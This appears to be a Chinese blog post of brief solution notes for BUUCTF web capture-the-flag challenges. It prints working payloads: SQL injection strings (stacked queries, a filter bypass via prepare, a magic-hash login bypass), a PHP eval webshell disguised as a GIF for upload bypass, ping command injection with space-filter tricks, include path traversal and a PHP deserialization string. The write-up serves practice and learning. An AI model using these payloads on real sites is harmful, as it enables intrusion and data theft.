BUUCTF web review (...ing)

[极客大挑战 2019]EasySQL

万能密码绕过登陆 注意 usename 和 password都要用万能密码

[极客大挑战 2019]Havefun

ctrl+u 发现source.php 审计后传入 cat=dog 即可

[HCTF 2018]WarmUp

发现source.php:

点击查看代码
 <?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }
?>

如何绕过白名单?
完全不会 看WP说的是 由于是在hint.php发现的ffffllllaaaagggg 所以flag在hin.php目录下
又由于include的特性:

以字符‘/’分隔(而且不计个数),若是在前面的字符串所代表的文件无法被
PHP找到,则PHP会自动包含‘/’后面的文件——注意是最后一个‘/’

然后这样构造:

/index.php?file=hint.php?../../../../../ffffllllaaaagggg

只能说见多识广吧...

[ACTF2020 新生赛]Include

ctrl+u 发现 ?file= 故尝试用php伪协议读取flag.php 即可

[ACTF2020 新生赛]Exec

熟悉的ping 构造 127.0.0.1;ls 发现可以命令执行 所以 127.0.0.1;cd /;cat flag 即可

[GXYCTF2019]Ping Ping Ping

$IFS$9绕过空格 只是flag的绕过有点。。。
cat index.php
image
构造

a=g;cat$IFS$9fla$a.php

其实像

a=ag;cat$IFS$9fl$a.php
j=ag;cat$IFS$9fl$j.php
j=lag;cat$IFS$9f$j.php

这些只用一部分替代都可以 不知道为什么将flag用两个变量拼接就不行...
应该是不能出现 f l a g 的这种顺序
而且为什么不能url编码绕过啊???

[强网杯 2019]随便注

?inject=1 是注入点
尝试 1' and updatexml ... 发现过滤掉了 select
所以只能堆叠注入

?inject=1;show databases; -- -
?inject=1;show tables; -- -
?inject=1;show columns from `1919810931114514`; -- -

最后一步由于不能用slect 可以用一个新姿势
prepare预编译:

?inject=1;prepare hack from concat("selec","t flag from `1919810931114514`");execute hack; -- -

即可

[SUCTF 2019]EasySQL

payload:

*,1

至于怎么猜出后端代码的 现在能力不够 慢慢悟吧

[极客大挑战 2019]Secret File

ctrl+u查看源码 有个 archive room 点进去 有个secret 点击用burpsuite抓包 发现secr3t.php 打开 发现有?file=...
直接php伪协议读取即可

[极客大挑战 2019]LoveSQL

最基本的union联合注入
updatexml虽说也能爆 但是查询 id,username,password的时候只能显示一点点 不知道为什么

[极客大挑战 2019]Http

源码中有个 Secret.php(眼瞎+1)
然后就是一堆基本的用burpsuite修改请求头(referer,user-agent,X-Forwarded-For)的操作

[极客大挑战 2019]Knife

最简单的webshell AntSword打开 密码 Syc 连接 终端 cat /flag 即可

[极客大挑战 2019]Upload

webshell上传
这里要换一种shell写法:

GIF89a
<script language='php'>@eval($_POST['hack']);</script>

然后将 content-type 改掉 用.jpg后缀上传成功
但是尝试改为.php失败 尝试很久发现 .phtml可以 上传成功后 AntSword连接即可

[极客大挑战 2019]BabySQL

fuzz测试 发现将关键词替换为空 所以尝试双写绕过
这题要先查询所有的 schema_name 在ctf下继续爆破
最后 从Flag查询flag时 要加 ctf.Flag
为什么还是不能堆叠注入啊??? 也没过滤show这些关键词啊...

[ACTF2020 新生赛]Upload

这里采用了前端+后端验证
先F12把 return checkfile()改为 return
然后上传原本的hack.php burpsuite抓包 修改后缀为 .phtml AntSword连接即可

[极客大挑战 2019]PHP

源码在 /www.zip 内

点击查看代码
<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>
可以看见这里考察的是反序列化 绕过__wake方法 我们只要让参数不匹配即可 把index.php往下拉一下可以发现?select= (...) ``` O:4:"Name":3:{s:14:"Namepassword";i:100;s:14:"Nameusername";s:5:"admin";} ``` 但是还是不行 是因为本来private有 %00 但被去掉了 所以我们自己加上 ``` O:4:"Name":3:{s:14:"%00Name%00password";i:100;s:14:"%00Name%00username";s:5:"admin";} ``` 即可

[ACTF2020 新生赛]BackupFile

扫描到 /index.php.bak

<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}

然后简单的一个代码审计
由php的特性 "123sdfasf"会弱类型转换为123 所以 ?key=123 即可

[RoarCTF 2019]Easy Calc

源码提示 calc.php
image
这里采用? num= 在num前加空格来绕过

? num=1;var_dump(scandir(chr(47)))
? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

[极客大挑战 2019]BuyFlag

进入 pay.php burpsuite抓包
user修改为1 然后ctrl+u源码提示POST password=404
加后缀字母弱类型绕过numeric判断
最后 post money=1e10即可

[BJDCTF2020]Easy MD5

password=ffifdyop 绕过登陆
然后
image
直接传数组即可
第二轮也是一样的绕过 只是改为POST罢了

posted @ 2023-09-24 09:57  N0zoM1z0  阅读(15)  评论(0编辑  收藏  举报